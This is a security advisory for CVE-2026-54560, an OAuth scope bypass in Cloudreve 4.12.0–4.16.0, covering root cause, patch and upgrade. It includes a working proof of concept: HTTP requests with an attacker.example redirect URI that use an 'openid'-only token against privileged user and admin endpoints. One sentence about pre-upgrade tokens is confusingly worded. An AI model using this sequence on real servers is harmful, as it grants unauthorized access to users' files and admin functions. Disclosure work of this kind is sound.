CVE-2026-54560: Cloudreve OAuth Access Token Scope Bypass
Cloudreve issues OAuth access tokens without the client_id claim, so a token granted only a minimal scope like 'openid' silently passes all scope checks and can call privileged file, admin, and WebDAV
The problem
In Cloudreve 4.12.0 through 4.16.0, the JWT minting function in pkg/auth/jwt.go includes the granted scopes in the access token but omits the ClientID field. When the JWT verifier later processes an incoming request, it only loads scopes into the request context when claims.ClientID is non-empty.
Because the ClientID is always empty in the access token, no scopes are ever loaded. The RequiredScopes middleware then sees no scope context, treats the token exactly like a first-party session token, and skips all scope enforcement. A token granted only 'openid' can therefore call any API the user could call, including file management, share management, WebDAV account config, workflow, user settings, and admin endpoints for administrator accounts.
Proof of concept
A working proof-of-concept for CVE-2026-54560 in github.com/cloudreve/Cloudreve/v4, with the exact payload below.
# Step 1: Register an OAuth client and authorize with minimal scope
POST /api/v4/session/oauth/authorize
Content-Type: application/json
{
"client_id": "<your_client_id>",
"redirect_uri": "https://attacker.example/callback",
"response_type": "code",
"scope": "openid"
}
# Step 2: Exchange the authorization code for tokens
POST /api/v4/session/oauth/token
Content-Type: application/json
{
"grant_type": "authorization_code",
"code": "<auth_code>",
"client_id": "<your_client_id>",
"redirect_uri": "https://attacker.example/callback"
}
# Step 3: Use the returned access_token against a privileged endpoint
# (token was only granted 'openid', but scope check is skipped entirely)
GET /api/v4/user/setting
Authorization: Bearer <access_token>
# Or target file APIs, WebDAV accounts, admin APIs, etc.
GET /api/v4/admin/summary
Authorization: Bearer <access_token>The root cause (CWE-863, Incorrect Authorization) is a one-field omission in pkg/auth/jwt.go. The refresh token correctly includes both Scopes and ClientID when minted, but the access token was only given Scopes. The gate condition if claims.ClientID != "" means an access token with an empty ClientID never writes scopes into the Gin context.
The patch in commit ed20843dc3df adds ClientID: args.ClientID to the access token claims struct, mirroring what the refresh token already did. Once ClientID is present, the JWT verifier loads scopes into context and RequiredScopes correctly rejects under-scoped requests.
The fix
Upgrade to Cloudreve 4.16.1 (commit ed20843dc3df). The fix adds ClientID to the access token claims in pkg/auth/jwt.go so the scope-loading gate condition is satisfied and RequiredScopes enforces OAuth scopes correctly. No config change is needed, but existing OAuth access tokens issued before the upgrade will remain unaffected (short-lived) until they expire.
Reported by newugly, de3erve-hunter, tonghuaroot.
Related research
- critical · 9.6CVE-2026-53552CVE-2026-53552: Goploy Cross-Namespace IDOR and RCE via Body-Controlled Project ID
- high · 8.2CVE-2026-55428CVE-2026-55428: Coder Tailnet Coordinator Route Hijacking via Unvalidated AllowedIPs
- critical · 9.9CVE-2026-44935CVE-2026-44935: Rancher Fleet Cross-Namespace Secret Disclosure via Unvalidated valuesFrom
- high · 7.7CVE-2026-49823CVE-2026-49823: Fission Cross-Namespace Package Read via Unvalidated PackageRef